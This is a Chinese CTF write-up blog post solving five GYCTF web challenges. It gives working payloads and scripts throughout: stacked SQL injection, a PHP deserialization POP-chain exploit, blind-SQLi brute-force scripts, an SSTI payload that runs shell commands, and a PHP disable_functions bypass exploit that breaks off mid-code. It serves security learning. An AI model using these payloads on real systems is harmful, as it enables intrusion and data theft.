GYCTF Web区部分WP

Posted Cxlover的博客哦

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了GYCTF Web区部分WP相关的知识,希望对你有一定的参考价值。

目录:

  1. Blacklist
  2. Easyphp
  3. Ezsqli
  4. FlaskApp
  5. EasyThinking

前言:

这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题。不过还好有buu,在几天后我终于抽出时间来复盘了。

。。由于buu复现的数量有限,所以没办法都写完,只能挑几道会的写一写。那么接下来开始看题吧。

 

Blacklist

涉及知识点:

(1)堆叠注入

解析:

这一道题很明显参考了强网杯的随便注。只不过过滤的函数增加了。

 

 

 先看一下有表名。payload: 1\';show tables;#

 

 

 再看一下字段名。 payload:1\';show columns from FlagHere;#

 

 之后就是查询flag,但是select,set 甚至 rename 都没了。这里还有一种插叙查询方法使用handler。

学习笔记就放在这里了。

 

 

 直接构造payload: 1\';handler FlagHere open;handler FlagHere read first;#

获得flag

 

 

Easyphp

涉及知识点:

(1)POC链的构造

解析:

本来以为这是一道sql注入,没想到有源码的啊。

这里只贴关键代码吧。

update.php

<?php
require_once(\'lib.php\');
echo \'<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>\';
if ($_SESSION[\'login\']!=1){
    echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION[\'login\']===1){
    require_once("flag.php");
    echo $flag;
}
?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array(\'union\',\'regexp\',\'load\',\'into\',\'flag\',\'file\',\'insert\',"\'",\'\\\\\',"*","alter");
    return str_replace($array,\'hacker\',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST[\'username\'])&&isset($_POST[\'password\'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login(\'select id,password from user where username=?\');        # id=1 的前提是 token = admin
        if($this->id){
        $_SESSION[\'id\']=$this->id;
        $_SESSION[\'login\']=1;
        echo "你的ID是".$_SESSION[\'id\'];
        echo "你好!".$_SESSION[\'token\'];
        echo "<script>window.location.href=\'./update.php\'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());            # age nickname 可以自己操控
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION[\'id\'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION[\'id\']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST[\'age\'];
        $nickname=$_POST[\'nickname\'];
        return safe(serialize(new Info($age,$nickname)));          o:{}
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//
    }
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);            # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST[\'username\'];
        $this->password=$_POST[\'password\'];
        $this->token=$_SESSION[\'token\'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param(\'s\', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token==\'admin\') {            //从这里返回  前提是 token = admin 
            return $idResult;
        }
        
        //不能走下面回
        if (!$idResult) {
            echo(\'用户不存在!\');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo(\'密码错误!\');
            return false;
        }
        $_SESSION[\'token\']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

这一题在update.php中调用了User类并且调用了update函数,这为我们创造了利用反序列化漏洞的条件。跟进:

 public function update(){
        $Info=unserialize($this->getNewinfo());            # age nickname 可以自己操控
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION[\'id\'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION[\'id\']);
        //这个功能还没有写完 先占坑
    }

跟进 getNewinfo() :

public function getNewInfo(){
        $age=$_POST[\'age\'];
        $nickname=$_POST[\'nickname\'];
        return safe(serialize(new Info($age,$nickname)));          
    }

因为返回结果会经过 safe 函数,所以跟进看一下safe函数:

function safe($parm){
    $array= array(\'union\',\'regexp\',\'load\',\'into\',\'flag\',\'file\',\'insert\',"\'",\'\\\\\',"*","alter");
    return str_replace($array,\'hacker\',$parm);
}

很明显,这是在给我们提供拼接反序列化字符串的机会。

之后再看这里新实例化了一个 Info 类,并且 age 和 nickname 都是我们自己可以控制的变量。继续跟进:

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);            # 初步猜测是要调用 dbCtrl 的 login, $argument[0]的值是 User类中 $age ,还会输出查询到的第一个值(所以我们写exp的时候一定要把password放到第一)。
    }
}

在 php 的反序列化中魔术方法绝对是我们解题的关键,这题也不例外,在 Info 的 __call 方法中调用了 login 函数,而有两个类中含有这个函数。

User类

    public function login() {
        if(isset($_POST[\'username\'])&&isset($_POST[\'password\'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login(\'select id,password from user where username=?\');        # id=1 的前提是 token = admin
        if($this->id){
        $_SESSION[\'id\']=$this->id;
        $_SESSION[\'login\']=1;
        echo "你的ID是".$_SESSION[\'id\'];
        echo "你好!".$_SESSION[\'token\'];
        echo "<script>window.location.href=\'./update.php\'</script>";
        return $this->id;
        }
    }
}

dbCtrl类

public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param(\'s\', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token==\'admin\') {            //从这里返回  前提是 token = admin 
            return $idResult;
        }
        
        //不能走下面回
        if (!$idResult) {
            echo(\'用户不存在!\');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo(\'密码错误!\');
            return false;
        }
        $_SESSION[\'token\']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

审计完上面的代码之后,可以很明显的知道我们要调用的是 dbCtrl 类的 login 。为什么?因为这个方法返回的结果是 sql 查询的结果,并且这个结果是会被输出的(不要小看echo啊!)因此我们可以通过sql查询得到 admin 的密码。但是此时另一个问题就出来了,怎么才能调用 __call 方法?

能打败魔术方法的只有魔术方法(不是,只是这题凑巧了),我们发现在 User 类中有一个 __toString 方法。

public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

很明显,只要 nickname 为 Info 类的实例就会触发 Info 类中没有的 update 函数,从而触发 __call 魔术方法。然后继续套娃,怎么调用 __toString 方法。

?UpdateHelper 类中有

public function __destruct()
    {
        echo $this->sql;
    }

不多说了,怎么调用这个方法??(?这不是自动调用吗),并且我们的第一步是创建了这个类的实例的,也就是说我们的poc链接上了。

写脚本:

<?php
class  User
{public $age=\'select password,id from user where username=?\';    #注意这里一定是 password 在前
    public $nickname=null;
}
class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
}
class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;      
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name = \'admin\';
    public $password;
    public $mysqli;
    public $token = \'admin\';
}

$cioi = new UpdateHelper();
$cioi->sql = new User();
$cioi->sql->nickname = new Info();
$cioi->sql->nickname->CtrlCase = new dbCtrl();

$cioier = \'";s:1:"a";\'.serialize($cioi)."}";
$len = strlen($cioier);
$cioier = str_repeat(\'union\',$len).$cioier;
echo $cioier;


?>

 

 

 得到password

 

 

 

 登录获得flag。

 

 

Ezsqli

涉及知识点:

(1)无列名盲注

解析:

测试阶段就不讲了好吧。反正这是一道布尔盲注。但是 or 被过滤了,这说明 information 不能用了,测试了一下 mysql 也不能用,但是 sys 还是可以用的。

可以用 sys.schema_table_statistics_with_buffer 或者 sys.x$schema_table_statistics_with_buffer 爆表

脚本(当时爆完表名不知道union被过滤怎么无列名注入,就试了一下列名为 flag 的情况,然后就中了?不愧是我)

import requests

url = \'http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php\'
payload = \'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}\'
passwd = \'\'

for i in range(1,80):
    low = 0
    high = 127
   
    while True:                             
        j = int((low + high)/2)
        sqlstr = u"0||ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}#"
        #sqlstr = u"0||ascii(substr((select flag from f1ag_1s_h3r3_hhhhh),{},1))>{}#"
 
        data = {\'id\':sqlstr.format(str(i),str(j))}
        #print(sqlstr.format(str(i),str(low)))

        ans = requests.post(url,data=data)
        if \'Nu1L\' in ans.text:     #true
            if high == low+1:
                passwd += chr(high)
                print(passwd)
                break
            low = j
            
        if \'Error\' in ans.text:       #false
            if high == low+1:
                passwd += chr(low)
                print(passwd)
                break
            high = j
    
            

print(passwd)
print("error!length is too short!")

结果:

 

 非预期没什么好说的,就猜呗。下面是知道表名之后的预期解。

首先我们需要知道一个知识:

id=0||(select 1,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Error Occured When Fetch Result.(false)

id=0||(select 2,0)>(select * from f1ag_1s_h3r3_hhhhh)# 会返回 Nu1L(true)

即两个查询字符串的查询结果是可以比较的,先比较查询结果的第一列,如果第一列出结果,那么返回第一列的结果,如果第一列相等,继续比较第二列。以此类推。

而本题第一列肯定是 1 ,因为测试发现第一列是 1 时结果和第二列的大小有关。

所以我们可以写出以下脚本:

#本脚本是专用于爆破无列名盲注的
import requests

#普通爆破的话直接用之前的布尔盲注模板
url = "http://ce780031-4e38-45ba-acc2-a135c491e112.node3.buuoj.cn/index.php"
passwd = \'\'

for i in range(1,50):
    low = 0
    high = 127
    
    while True:
        j = int((low+high)/2)
        sqlstr = "0||(select 1,\'{}\')>(select * from f1ag_1s_h3r3_hhhhh)"
        if chr(j) == "\'":
            sqlstr = \'0||(select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)\'
        
        data = {"id":sqlstr.format(passwd+str(chr(j)))}

        resp = requests.post(url=url,data=data)
        
        #print(sqlstr.format(passwd+str(chr(j))))
        if \'Nu1L\' in resp.text:             #true
            if high == low+1:
                passwd = passwd + chr(low)
                print(passwd)
                break
            high = j
        
        if \'Error\' in resp.text:
            if high == low+1:
                passwd = passwd + chr(low)
                print(passwd)
                break
            low = j

print(passwd.lower())           # 把 flag 中的大写字母转化成小写。需要时用
print("error!length is too short!")    #只是提醒自己结束了

直接跑一遍就可以拿到flag了。

 

FlaskApp

涉及知识点:

(1)SSTI

解析:

这题是我比赛中做出来的一道题,但是被队友背刺,我太惨了!,,Ծ‸Ծ,,

这题。。就是先base64加密后,再解密时会触发反序列化机制。

测试 {{7+7}} 加密解密后为 

 

 这题虽然过滤了一些东西,但是跟没过滤一样,字符串拼接就绕过了。

这里主要是找可以利用的类 ,发现 warning.catch_warnings 存在,这里写了一个找可利用类的脚本。

import sys

array = []

def find_class(line,s,c):
    if line.find(b\'class\') > 0:
        start = line.find(b\'<class\',s)
        #print(start)
        end = line.find(b\'>\',start)
        string = line[start+8:end-1]
        #print(string)
        array.append(string)
        if line.find(b\'class\',end+1) > 0:
            find_class(line,end,c)

def create_array():
    sys.setrecursionlimit(1000000)
    with open(\'C:/Users/Acer/Desktop/flag.txt\',\'rb\') as f:
        a = 1
        lines = f.readlines()
        for line in lines:
            #print(line)
            find_class(line,0,b\'warnings.catch_warnings\')
            #print(a)

def search_class(funcs,fun):
    i = 0 
    for func in funcs:
        if fun in func:
            print(i)
        else:
            i = i + 1

create_array()
search_class(array,b\'warnings.catch_warnings\')

..比赛时是 134 。。赵总改了一下现在是 206 。

构造payload: {{[].__class__.__base__.__subclasses__()[206].__init__.__globals__[\'__buil\'+\'tins__\'][\'e\'+\'val\'](\'__im\'+\'port__("o"+"s").pop\'+\'en("ca"+"t /this_i"+"s_the_fl"+"ag.txt").read()\')}}

获得flag

 

 

EasyThinking

涉及知识点:

(1)Thinkphp6.0任意文件操作漏洞

(2)shell命令执行

解析:

这题是真的不会,只能看看师傅们的wp才能维持的了生活的样子。先贴上师傅的wp

首先我爆出了Thinkphp的版本6.0,上网去找漏洞,找到了上面贴的漏洞。

还行,尝试利用漏洞(就像上面链接说的一样,构造一个32位的php文件名)

在搜索处输入要注入的php代码。如:

 

 发现过滤的函数有点多,以至于我们的蚁剑无法执行系统命令。之后用 <?php var_dump(scandir(\'/\')); ?> 发现根目录下有

 

 然后就不会了,师傅给了一个可以执行系统命令的脚本。

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = 以上是关于GYCTF Web区部分WP的主要内容,如果未能解决你的问题,请参考以下文章

[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp

BUU-WEB-[GYCTF2020]Blacklist

CTF_Web:攻防世界高手区进阶题WP(1-4)

CTF_Web:攻防世界高手区进阶题WP(9-14)

CTF_Web:攻防世界高手区进阶题WP(5-8)